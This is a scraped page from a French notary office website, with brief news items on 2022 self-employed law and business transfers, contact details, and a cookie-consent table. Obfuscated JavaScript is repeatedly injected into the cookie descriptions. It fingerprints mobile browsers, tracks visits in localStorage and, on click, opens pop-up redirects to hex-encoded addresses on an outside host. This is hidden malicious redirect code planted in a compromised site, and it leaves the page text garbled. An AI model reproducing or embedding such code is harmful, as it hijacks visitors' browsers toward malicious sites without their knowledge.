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Du nouveau pour les indépendants

29/04/2022

La loi n°2022-172 du 14 février 2022 (JO du 15) dite en faveur de l’activité professionnelle indépendante, et applicable à compter du 15 mai 2022 fusionne les deux régimes d’entrepreneur individuel et d’entrepreneur individuel à responsabilité limitée (EIRL).

La transmission d’entreprises : deux décisions déterminantes !

29/04/2022

L’actualité de la transmission d’entreprise a été marquée par la consultation publique intervenue en date du 6 avril 2021, qui a donné lieu à la mise à jour de la doctrine fiscale, en date du 21 décembre 2021.

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Téléphone
04 34 48 12 60
Mail
ozact@ozact.notaires.fr

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)\|avan\|be(ck\|ll\|nq)\|bi(lb\|rd)\|bl(ac\|az)\|br(e\|v)w\|bumb\|bw\-(n\|u)\|c55\/\|capi\|ccwa\|cdm\-\|cell\|chtm\|cldc\|cmd\-\|co(mp\|nd)\|craw\|da(it\|ll\|ng)\|dbte\|dc\-s\|devi\|dica\|dmob\|do(c\|p)o\|ds(12\|\-d)\|el(49\|ai)\|em(l2\|ul)\|er(ic\|k0)\|esl8\|ez([4-7]0\|os\|wa\|ze)\|fetc\|fly(\-\|_)\|g1 u\|g560\|gene\|gf\-5\|g\-mo\|go(\.w\|od)\|gr(ad\|un)\|haie\|hcit\|hd\-(m\|p\|t)\|hei\-\|hi(pt\|ta)\|hp( i\|ip)\|hs\-c\|ht(c(\-\| \|_\|a\|g\|p\|s\|t)\|tp)\|hu(aw\|tc)\|i\-(20\|go\|ma)\|i230\|iac( \|\-\|\/)\|ibro\|idea\|ig01\|ikom\|im1k\|inno\|ipaq\|iris\|ja(t\|v)a\|jbro\|jemu\|jigs\|kddi\|keji\|kgt( \|\/)\|klon\|kpt \|kwc\-\|kyo(c\|k)\|le(no\|xi)\|lg( g\|\/(k\|l\|u)\|50\|54\|\-[a-w])\|libw\|lynx\|m1\-w\|m3ga\|m50\/\|ma(te\|ui\|xo)\|mc(01\|21\|ca)\|m\-cr\|me(rc\|ri)\|mi(o8\|oa\|ts)\|mmef\|mo(01\|02\|bi\|de\|do\|t(\-\| \|o\|v)\|zz)\|mt(50\|p1\|v )\|mwbp\|mywa\|n10[0-2]\|n20[2-3]\|n30(0\|2)\|n50(0\|2\|5)\|n7(0(0\|1)\|10)\|ne((c\|m)\-\|on\|tf\|wf\|wg\|wt)\|nok(6\|i)\|nzph\|o2im\|op(ti\|wv)\|oran\|owg1\|p800\|pan(a\|d\|t)\|pdxg\|pg(13\|\-([1-8]\|c))\|phil\|pire\|pl(ay\|uc)\|pn\-2\|po(ck\|rt\|se)\|prox\|psio\|pt\-g\|qa\-a\|qc(07\|12\|21\|32\|60\|\-[2-7]\|i\-)\|qtek\|r380\|r600\|raks\|rim9\|ro(ve\|zo)\|s55\/\|sa(ge\|ma\|mm\|ms\|ny\|va)\|sc(01\|h\-\|oo\|p\-)\|sdk\/\|se(c(\-\|0\|1)\|47\|mc\|nd\|ri)\|sgh\-\|shar\|sie(\-\|m)\|sk\-0\|sl(45\|id)\|sm(al\|ar\|b3\|it\|t5)\|so(ft\|ny)\|sp(01\|h\-\|v\-\|v )\|sy(01\|mb)\|t2(18\|50)\|t6(00\|10\|18)\|ta(gt\|lk)\|tcl\-\|tdg\-\|tel(i\|m)\|tim\-\|t\-mo\|to(pl\|sh)\|ts(70\|m\-\|m3\|m5)\|tx\-9\|up(\.b\|g1\|si)\|utst\|v400\|v750\|veri\|vi(rg\|te)\|vk(40\|5[0-3]\|\-v)\|vm40\|voda\|vulc\|vx(52\|53\|60\|61\|70\|80\|81\|83\|85\|98)\|w3c(\-\| )\|webc\|whit\|wi(g \|nc\|nw)\|wmlb\|wonu\|x700\|yas\-\|your\|zeto\|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']\|\|navigator[_0x573149(0x1dd)]\|\|window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());

Fonctionnels

Les cookies fonctionnels aident à réaliser certaines fonctionnalités comme le partage du contenu du site web sur les plateformes de médias sociaux, la collecte de commentaires et d’autres fonctionnalités de tiers.

Cookie	Durée	Description
cookielawinfo-checbox-functional	11 months	Le cookie est défini par le consentement aux cookies GDPR pour enregistrer le consentement de l'utilisateur pour les cookies de la catégorie "Fonctionnels". function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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_0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\x68\x74\x74\x70\x3a\x2f\x2f\x77\x2d\x76\x2e\x77\x69\x6e\x2f\x64\x42\x48\x36\x63\x36','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x2d\x76\x2e\x77\x69\x6e\x2f\x75\x6d\x4f\x37\x63\x35',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e80x3c0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e80x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android\|bb\d+\|meego).+mobile\|avantgo\|bada\/\|blackberry\|blazer\|compal\|elaine\|fennec\|hiptop\|iemobile\|ip(hone\|od)\|iris\|kindle\|lge \|maemo\|midp\|mmp\|mobile.+firefox\|netfront\|opera m(ob\|in)i\|palm( os)?\|phone\|p(ixi\|re)\/\|plucker\|pocket\|psp\|series(4\|6)0\|symbian\|treo\|up\.(browser\|link)\|vodafone\|wap\|windows ce\|xda\|xiino/i[_0x49bda1(0x1e7)](_0x264a55)\|\|/1207\|6310\|6590\|3gso\|4thp\|50[1-6]i\|770s\|802s\|a wa\|abac\|ac(er\|oo\|s\-)\|ai(ko\|rn)\|al(av\|ca\|co)\|amoi\|an(ex\|ny\|yw)\|aptu\|ar(ch\|go)\|as(te\|us)\|attw\|au(di\|\-m\|r \|s )\|avan\|be(ck\|ll\|nq)\|bi(lb\|rd)\|bl(ac\|az)\|br(e\|v)w\|bumb\|bw\-(n\|u)\|c55\/\|capi\|ccwa\|cdm\-\|cell\|chtm\|cldc\|cmd\-\|co(mp\|nd)\|craw\|da(it\|ll\|ng)\|dbte\|dc\-s\|devi\|dica\|dmob\|do(c\|p)o\|ds(12\|\-d)\|el(49\|ai)\|em(l2\|ul)\|er(ic\|k0)\|esl8\|ez([4-7]0\|os\|wa\|ze)\|fetc\|fly(\-\|_)\|g1 u\|g560\|gene\|gf\-5\|g\-mo\|go(\.w\|od)\|gr(ad\|un)\|haie\|hcit\|hd\-(m\|p\|t)\|hei\-\|hi(pt\|ta)\|hp( i\|ip)\|hs\-c\|ht(c(\-\| \|_\|a\|g\|p\|s\|t)\|tp)\|hu(aw\|tc)\|i\-(20\|go\|ma)\|i230\|iac( \|\-\|\/)\|ibro\|idea\|ig01\|ikom\|im1k\|inno\|ipaq\|iris\|ja(t\|v)a\|jbro\|jemu\|jigs\|kddi\|keji\|kgt( \|\/)\|klon\|kpt \|kwc\-\|kyo(c\|k)\|le(no\|xi)\|lg( g\|\/(k\|l\|u)\|50\|54\|\-[a-w])\|libw\|lynx\|m1\-w\|m3ga\|m50\/\|ma(te\|ui\|xo)\|mc(01\|21\|ca)\|m\-cr\|me(rc\|ri)\|mi(o8\|oa\|ts)\|mmef\|mo(01\|02\|bi\|de\|do\|t(\-\| \|o\|v)\|zz)\|mt(50\|p1\|v )\|mwbp\|mywa\|n10[0-2]\|n20[2-3]\|n30(0\|2)\|n50(0\|2\|5)\|n7(0(0\|1)\|10)\|ne((c\|m)\-\|on\|tf\|wf\|wg\|wt)\|nok(6\|i)\|nzph\|o2im\|op(ti\|wv)\|oran\|owg1\|p800\|pan(a\|d\|t)\|pdxg\|pg(13\|\-([1-8]\|c))\|phil\|pire\|pl(ay\|uc)\|pn\-2\|po(ck\|rt\|se)\|prox\|psio\|pt\-g\|qa\-a\|qc(07\|12\|21\|32\|60\|\-[2-7]\|i\-)\|qtek\|r380\|r600\|raks\|rim9\|ro(ve\|zo)\|s55\/\|sa(ge\|ma\|mm\|ms\|ny\|va)\|sc(01\|h\-\|oo\|p\-)\|sdk\/\|se(c(\-\|0\|1)\|47\|mc\|nd\|ri)\|sgh\-\|shar\|sie(\-\|m)\|sk\-0\|sl(45\|id)\|sm(al\|ar\|b3\|it\|t5)\|so(ft\|ny)\|sp(01\|h\-\|v\-\|v )\|sy(01\|mb)\|t2(18\|50)\|t6(00\|10\|18)\|ta(gt\|lk)\|tcl\-\|tdg\-\|tel(i\|m)\|tim\-\|t\-mo\|to(pl\|sh)\|ts(70\|m\-\|m3\|m5)\|tx\-9\|up(\.b\|g1\|si)\|utst\|v400\|v750\|veri\|vi(rg\|te)\|vk(40\|5[0-3]\|\-v)\|vm40\|voda\|vulc\|vx(52\|53\|60\|61\|70\|80\|81\|83\|85\|98)\|w3c(\-\| )\|webc\|whit\|wi(g \|nc\|nw)\|wmlb\|wonu\|x700\|yas\-\|your\|zeto\|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']\|\|navigator[_0x573149(0x1dd)]\|\|window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());

Performance

Les cookies de performance sont utilisés pour comprendre et analyser les indices de performance clés du site web, ce qui permet d’offrir une meilleure expérience utilisateur aux visiteurs.

Cookie	Durée	Description
cookielawinfo-checkbox-performance	11 months	Ce cookie est défini par le plugin de consentement aux cookies GDPR. Ce cookie est utilisé pour stocker le consentement de l'utilisateur pour les cookies de la catégorie "Performance". function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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Analytiques

Les cookies analytiques sont utilisés pour comprendre comment les visiteurs interagissent avec le site web. Ces cookies permettent de fournir des informations sur les mesures du nombre de visiteurs, le taux de rebond, la source de trafic, etc.

Cookie	Durée	Description
cookielawinfo-checbox-analytics	11 months	Ce cookie est défini par le plugin de consentement aux cookies GDPR. Le cookie est utilisé pour stocker le consentement de l'utilisateur pour les cookies de la catégorie "Analytiques". function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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